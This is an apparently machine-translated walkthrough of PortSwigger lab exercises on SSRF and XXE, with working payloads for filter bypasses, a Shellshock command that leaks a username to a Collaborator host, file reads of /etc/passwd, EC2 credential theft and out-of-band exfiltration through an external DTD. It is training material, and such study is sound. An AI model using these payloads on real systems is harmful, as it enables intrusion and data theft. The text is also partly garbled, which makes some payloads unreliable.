The statement
This article is for learning reference only, all the resources involved are from the network, do not use any illegal behavior, otherwise you will be responsible for the consequences
Server Side Request Forgery (SSRF)
01, Basic SSRF against the local server
describe
The lab has an inventory check function that allows access to data from internal systems.
To resolve the lab, change the Stock check URL to access the admin interface http://localhost/admin and remove user Carlos.
The solution
1. Browse /admin and observe that you cannot directly access the management page.
2. Access a product, click “Check Stock”, intercept the request in the Burp Suite and send it to the Burp Repeater.
3. Change the URL in the stockApi parameter to http://localhost/admin. This should display the admin interface.
4. Read the HTML sure to delete the URL for the target user, namely: http://localhost/admin/delete? username=carlos
5. Submit the URL in the stockApi parameter to pass the SSRF attack.
In order to thank our readers for their support, we have prepared the following benefits for you: 1, more than 200 network security series of e-books (should have all) 2, the full set of toolkit (the most complete Chinese version, want to use which use which) 3, 100 SRC source technical documents (project learning, 4, Network security basic introduction, Linux, Web security, attack and defense video (2021 latest edition) 5, network security learning route (bid farewell to the stream of learning)
6. CTF Flag capture Contest Analysis (title analysis actual combat operation)
02, Basic SSRF against another back-end system
describe
The lab has an inventory check function that allows access to data from internal systems.
To solve the lab problem, please use the inventory check function to scan for vulnerabilities on port 8080 of segment 192.168.0.xc, which IP has the WEB services management interface enabled, and then use it to delete user Carlos.
The solution
1. Access a product, click “Check Stock”, block the request in the Burp Suite and send it to Burp Intruder. 2. Click the “clear §”, will stockApi parameters changed to http://192.168.0.1:8080/admin, the IP address of the last eight bytes (figure 1), click the “add payload §”.
3. Switch To the Payloads TAB, change the payload type To Numbers and enter 1, 255 and 1 in the From, To and Step boxes, respectively. Meaning from 1 to 255, click “Start attack”.
4. Click the Status column to sort the status codes in ascending order. You should see an entry with a status of 200, showing an administrative interface.
5. Click the request, send it to Burp Repeater, and change the path to stockApi: /admin/delete? username=carlos
03. SSRF with blacklist-based input filter
describe
The lab has an inventory check function that allows access to data from internal systems.
To resolve the lab, change the Stock check URL to access the admin interface http://localhost/admin and remove user Carlos.
The developers deployed two weak anti-SSRF defenses that you need to bypass.
The solution
1. Access a product, click “Check Stock”, intercept the request in the Burp Suite and send it to the Burp Repeater. 2. Change the URL in the stockApi parameter to http://127.0.0.1/ and the request is blocked.
3. Bypass the block by changing the URL to: http://127.1/
The alternate IP used represents 127.0.0.1, for example, 2130706433,017700000001, or 127.1.
4. Change the URL to http://127.1/admin and watch that the URL is blocked again.
5. Use double URL encoding to confuse “A” with %2561 to access the management interface and delete the target user. The URL encoding of a is %61 and the URL encoding of % is %25
6. Delete, carlos
StockApi = http://127.1/%2561dmin/delete? username=carlos
04, SSRF with whitelist-based input filter
Whitelist-based filtering around SSRF
Some applications only allow input that matches, begins with, or contains a whitelist of permitted values. In such cases, you can sometimes bypass filters by taking advantage of inconsistencies in URL resolution.
The URL specification contains many features that are easily overlooked when implementing AD hoc parsing and validation of urls:
You can use the @ character to embed credentials before the host name in the URL. For example, https://expected-host@evil-host.
You can use the # character to represent URL fragments. For example, https://evil-host#expected-host.
You can use DNS naming hierarchies to put the required input into fully qualified DNS names that you control. For example, https://expected-host.evil-host.
You can urL-encode characters to obfuscate the URL parsing code. This is especially useful if the code implementing the filter handles URL-encoded characters differently than the code executing back-end HTTP requests.
You can use these techniques in combination.
describe
The lab has an inventory check function that allows access to data from internal systems.
To resolve the lab, change the Stock check URL to access the admin interface http://localhost/admin and remove user Carlos.
The developers have deployed the anti-SSRF defenses that you need to bypass.
The solution
1. Access a product, click “Check Stock”, intercept the request in the Burp Suite and send it to the Burp Repeater. 2. Fuzz tests which connectives the application filters
Change the URL in the stockApi parameter to http://[email protected] and add the @ location as the payload.
%2540 %2523%252E are @# respectively.
It follows that the @ concatenator is available and not filtered. 3. Fuzz tests the application’s filtering of local addresses
5. %2523 is not filtered, this is double encoding of #. .
6. Change the URL to localhost:80%[email protected]/admin/delet… Access the management page and delete the target user.
SSRF with filter bypass via open redirection vulnerability
describe
The lab has an inventory check function that allows access to data from internal systems.
In order to solve the laboratory, change the stock to check the URL to access the management interface http://192.168.0.12:8080/admin and delete users, carlos.
The inventory inspector has been restricted to access only local applications, so you need to first find open redirects that affect the application.
The solution
1. Access a product, click “Check Stock”, intercept the request in the Burp Suite and send it to the Burp Repeater. 2. Try to tamper with the stockApi parameter and observe that you can’t get the server to make requests directly to different hosts. 3. Click “Next Product” and observe that the path parameter is placed in the Location header of the redirection response, causing the redirection to open.
4. Create a URL that exploits the open redirection vulnerability, redirect it to the admin interface, and supply it to the parameters on the stockApi stock inspector:
/product/nextProduct? Path = http://192.168.0.12:8080/admin
5. Modify the path for deleting the target user.
/product/nextProduct? Path = http://192.168.0.12:8080/admin/delete? username=carlosCopy the code
06, Blind SSRF with out-of-band detection
describe
The site uses analytics software to retrieve the URL specified in the Referer header when the product page is loaded.
To resolve a lab problem, use this feature to make an HTTP request to the common Burp Collaborator server.
The solution
1. In Burp Suite Professional, go to the Burp menu and start the Burp Collaborator client.
2. Click Copy to Clipboard to copy the unique Burp Collaborator load to the clipboard. Leave the Burp Collaborator client window open.
9ku1dr3wc25eze1famnlfqnqfhl79w.burpcollaborator.net
3. Access a product, intercept a request in the Burp Suite, and send it to the Burp Repeater.
4. Change the Referer header to use the generated Burp Collaborator domain instead of the original one. Send the request.
5. Return to the Burp Collaborator client window, and click Poll Now. If you don’t see any of the interactions listed, wait a few seconds and try again, because the server-side commands are executed asynchronously.
[img-bejm3FTQ-1634976123186] [upload_images.jianshu. IO /upload_imag…]
6. You should see some DNS and HTTP interactions initiated by the application as a result of your load.
07, Blind SSRF with Shellshock exploitation
describe
The site uses analytics software to retrieve the URL specified in the Referer header when the product page is loaded.
To solve a lab problem, use this feature to perform a blind SSRF attack at 192.168.0.x on an internal server within range of port 8080. In a blind attack, the Shellshock payload against internal servers is used to steal the names of operating system users.
The solution
1. In Burp Suite Professional, install the Collaborator Everywhere extension from the BApp Store.
2. Add the range domain to the target scope of Burp Suite for Collaborator Everywhere to target. Browse websites.
3. Start browsing the product page, click on a few random items, and click Return. The plug-in will trigger HTTP interaction with Burp Collaborator via the Referer header.
4. Observe the HTTP interaction to include your User-Agent string in the HTTP request. Send the request to Burp Fuse on the product page.
5. Use the Burp Collaborator client to generate a unique Burp Collaborator payload and place it in the following Shellshock payloads:
() {:; }; /usr/bin/nslookup $(whoami).YOUR-SUBDOMAIN-HERE.burpcollaborator.net
6. Replace the User-Agent string in the Burp Intruder request with the Shellshock payload containing your Collaborator domain.
Click “Clear §”, change the Referer header, http://192.168.0.1:8080 then highlight the last octet of the IP address (number 1), and click “Add §”.
7. Switch To the Payloads TAB, change the payload type To Numbers and enter 1, 255 and 1 in the From, To and Step boxes, respectively. Click “Start attack”.
8. When the attack is complete, return to the Burp Collaborator client window and click Poll Now. If you don’t see any of the interactions listed, wait a few seconds and try again, because the server-side commands are executed asynchronously. You should see DNS interactions initiated by backend systems attacked by a successful blind SSRF attack. The name of the operating system user should appear in the DNS subdomain.
9. To complete the experiment, enter the name of the operating system user.
peter-I7hfdy
Second, the XXE injection
01, Exploiting XXE using external entities to retrieve files
describe
The lab has a “Check stock” feature that parses the XML input and returns any unexpected values in the response.
To solve the lab problem, inject an XML external entity to retrieve the contents of the /etc/passwd file.
The solution
1. Access the product page, click Check Stock, and intercept the generated POST request in Burp Suite.
2. Insert the following external entity definition between the XML declaration and the stockCheck element:
<! DOCTYPE test [ <! ENTITY xxe SYSTEM "file:///etc/passwd"> ]> -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- <? The XML version = "1.0" encoding = "utf-8"? > <! DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <stockCheck> <productId>&xxe; </productId> <storeId>1</storeId> </stockCheck>Copy the code3. Replace the productId number with a reference to an external entity: &xxe; . The response should contain Invalid product ID:, followed by the contents of the /etc/passwd file.
02, Exploiting XXE to Perform SSRF attacks
describe
The lab has a “Check Stock” feature that parses the XML input and returns any unexpected values in the response.
The lab server runs the (simulated) EC2 metadata endpoint on the default URL, namely http://169.254.169.254/. This endpoint can be used to retrieve data about the instance, some of which may be sensitive.
To solve the lab, SSRF attack is executed using XXE vulnerability to obtain the IAM secret access key of the server from EC2 metadata endpoint.
The solution
1. Access the product page, click Check Stock, and intercept the generated POST request in Burp Suite.
2. Insert the following external entity definition between the XML declaration and the stockCheck element:
<! DOCTYPE test [ <! ENTITY xxe SYSTEM "http://169.254.169.254/">]> -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- <? The XML version = "1.0" encoding = "utf-8"? > <! DOCTYPE test [<!ENTITY xxe SYSTEM "http://169.254.169.254/">]> <stockCheck> <productId>&xxe; </productId> <storeId>1</storeId> </stockCheck>Copy the code3. Replace the productId number with a reference to an external entity: &xxe; . The response should contain “Invalid product ID:” followed by the response from the metadata endpoint, initially the folder name.
4. Iteratively update the URLS in the DTD to explore the API until you reach /latest/meta-data/iam/security-credentials/admin. This should return containing the SecretAccessKey.
[img-1TF9ujnR-1634976123226] [upload_images.jianshu. IO /upload_imag…]
03, Blind XXE with out-of-band interaction
describe
The lab has a “Check stock” feature that parses THE XML input without displaying the results.
You can detect blind XXE vulnerabilities by triggering band diplomatic interactions with external domains.
To solve lab problems, use external entities to make the XML parser issue DNS lookups and HTTP requests to Burp Collaborator.
The solution
1. Access the product page, click Check Stock, and block POST requests generated in Burp Suite Professional.
2. Go to the Burp menu, and start the Burp Collaborator client.
3. Click Copy to ClipBoard to Copy the unique Burp Collaborator load to the clipboard. Leave the Burp Collaborator client window open.
4. Insert the following external entity definition between the XML declaration and the stockCheck element, but insert the Burp Collaborator subdomain where indicated:
5. Replace the productId number with a reference to an external entity: &xxe;
<! DOCTYPE stockCheck [ <! ENTITY xxe SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net"> ]> -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- <? XML version = "1.0" encoding = "utf-8"? > <! DOCTYPE stockCheck [ <! ENTITY xxe SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net"> ]> <stockCheck> <productId>&xxe; </productId> <storeId>1</storeId> </stockCheck>Copy the code
6. Return to the Burp Collaborator client window, and click Poll Now. If you do not see any of the interactions listed, wait a few seconds and try again. You should see some DNS and HTTP interactions initiated by the application as a result of your load.
04, Blind XXE with out-of-band interaction via XML parameter entities
describe
The lab has a “Check stock” feature that parses XML input without displaying any unexpected values and blocks requests that contain regular external entities.
To solve lab problems, use parameter entities to let the XML parser issue DNS lookup and HTTP requests to Burp Collaborator.
The solution
1. Access the product page, click Check Stock, and block POST requests generated in Burp Suite Professional.
2. Go to the Burp menu, and start the Burp Collaborator client.
3. Click Copy to ClipBoard to Copy the unique Burp Collaborator load to the clipboard. Leave the Burp Collaborator client window open.
4. Insert the following external entity definition between the XML declaration and the stockCheck element, but insert the Burp Collaborator subdomain where indicated:
<! DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://1652ffdx6ehfr67aox39dcqfw62wql.burpcollaborator.net"> %xxe; ] >Copy the code
5. Return to the Burp Collaborator client window, and click Poll Now. If you do not see any of the interactions listed, wait a few seconds and try again. You should see some DNS and HTTP interactions initiated by the application as a result of your load.
05, Exploiting blind XXE to Exfiltrate data using a malicious External DTD
describe
The lab has a “Check stock” feature that parses THE XML input without displaying the results.
To resolve a lab problem, extract the contents of the /etc/hostname file.
The solution
1. Use Burp Suite Professional, go to the Burp menu, and start the Burp Collaborator client.
2. Click Copy to ClipBoard to Copy the unique Burp Collaborator load to the clipboard. Leave the Burp Collaborator client window open.
3. Put the Burp Collaborator payload into the malicious DTD file:, note that % is the HTML encoding result of %
Note that the parameter entity % defined in the inner layer needs to be HTML escaped, otherwise parsing errors will occur. In the second layer of nesting, we only need to encode the % of the defined parameter entity, and in the third layer, we need to encode all the %, &, ‘, “HTML based on the second layer. Reference: cloud.tencent.com/developer/a…
<! ENTITY % file SYSTEM "file:///etc/hostname"> <! ENTITY % eval "<! ENTITY % exfil SYSTEM 'http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net/?x=%file; '>"> %eval; %exfil;Copy the code4. Click Store and save the malicious DTD file on your server. Click “View Exploit” and note down the URL.
https://exploit-ac321fb71f19af9380507e4301ff00c7.web-security-academy.net/exploit
5. You need to take advantage of the Check Stock feature by adding parameter entities that reference the malicious DTD. First, visit the product page, click “Check Stock,” and intercept the generated POST request in the Burp Suite.
6. Insert the following external entity definitions between the XML declaration and the stockCheck element:
<! DOCTYPE foo [<! ENTITY % xxe SYSTEM "https://exploit-ac321fb71f19af9380507e4301ff00c7.web-security-academy.net/exploit"> %xxe;] >Copy the code7. Return to the Burp Collaborator client window, and click Poll Now. If you do not see any of the interactions listed, wait a few seconds and try again.
8. You should see some DNS and HTTP interactions initiated by the application as a result of your load. HTTP interactions can contain the contents of a /etc/hostname file.
Read the results
94c9f0a3f381
06, Exploiting blind XXE to retrieve data via error messages
describe
The lab has a “Check stock” feature that parses THE XML input without displaying the results.
To resolve this experiment, use an external DTD to trigger an error message that displays the contents of the /etc/passwd file.
The lab contains links to exploit servers on different domains where you can host malicious DTDS.
The solution
1. Click “Go to Exploit Server” and save the following malicious DTD file on your server: When imported, this page reads its contents into an entity, and then tries to use that entity in the file path.
<! ENTITY % file SYSTEM "file:///etc/passwd"> <! ENTITY % eval "<! ENTITY % exfil SYSTEM 'file:///invalid/%file; '>"> %eval; %exfil;Copy the code
2. Click “View Exploit” and note down the URL of the malicious DTD.
https://exploit-acc71f791e474f81803e1f22016400d8.web-security-academy.net/ch4nge.dtd
Copy the code3. You need to take advantage of the stock inspector feature by adding parameter entities that reference the malicious DTD. First, visit the product page, click “Check Stock,” and intercept the generated POST request in the Burp Suite.
4. Insert the following external entity definition between the XML declaration and the stockCheck element: You should see an error message containing the contents of the file.
<! DOCTYPE foo [<! ENTITY % xxe SYSTEM "https://exploit-acc71f791e474f81803e1f22016400d8.web-security-academy.net/ch4nge.dtd"> %xxe;] >Copy the code"XML parser exited with non-zero code 1: /invalid/
07, Exploiting XXE to retrieve data by repurposture a local DTD
Utilize XXE blind typing by reusing native DTDS
If the target is offline, or if there are limitations on using external DTD entities, you can try using a local DTD entity by writing the DTD statements into the target machine.
describe
The lab has a “Check stock” feature that parses THE XML input without displaying the results.
To resolve the lab problem, fire an error message containing the contents of the /etc/passwd file.
You need to reference an existing DTD file on the server and redefine entities from it.
suggested
Use GNOME desktop environment system usually contains a called/usr/share/yelp/DTD/docbookx. There is a DTDISOamso DTD entities.
The solution
1. Access the product page, click Check Stock, and intercept the generated POST request in Burp Suite.
Insert the following parameter entity definitions between the XML declaration and the stockCheck element:
<! DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> <!ENTITY % ISOamso ' <! ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<! ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; '> %local_dtd; ] >Copy the codeThis imports the Yelp DTD and then redefines the ISOamso entity, triggering an error message containing the contents of the /etc/passwd file.
Suggest that mentioned in an internal DTD: / usr/share/yelp/DTD/docbookx DTD, the internal DTD a parameter entity, called ISOamso, then rewrite the parameter entities.
Note:
Note that the parameter entity % defined in the inner layer needs to be HTML escaped, otherwise parsing errors will occur. In the second layer of nesting, we only need to encode the % of the defined parameter entity, and in the third layer, we need to encode all the %, &, ‘, “HTML based on the second layer. Reference: cloud.tencent.com/developer/a…
08, Exploiting XInclude to retrieve files
describe
The lab has “check Stock” capabilities that embed user input into server-side XML documents and then parse them.
Because you have no control over the entire XML document, you cannot define a DTD to launch a classic XXE attack.
To solve the lab problem, inject an XInclude statement to retrieve the contents of the /etc/passwd file.
The solution
1. Visit the product page, click Check Inventory, and intercept the generated POST request in the Burp Suite.
2. Set productId to:
<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>
09, Exploiting XXE via image file upload
describe
The lab allows users to attach avatars to comments and uses the Apache Batik library to process avatars image files.
To solve lab problems, upload an image of the file contents after processing /etc/hostname. Then use the Submit Solution button to submit the value of the server hostname.
suggested
The SVG image format uses XML.
The solution
1. Create a local SVG image with the following:
<? The XML version = "1.0" standalone = "yes"? > <! DOCTYPE test [ <! ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" XMLNS: xlink = "http://www.w3.org/1999/xlink" version = "1.1" > < text font, size = "16" x = "0" y = "16" > & xxe; </text></svg>Copy the code
2. Comment on this blog post and upload this picture as your profile picture.
3. When viewing the comments, you should see the contents of the /etc/hostname file in the image. Submit the value of the server hostname using the Submit Solution button.
Submit 7174 a45a0efa
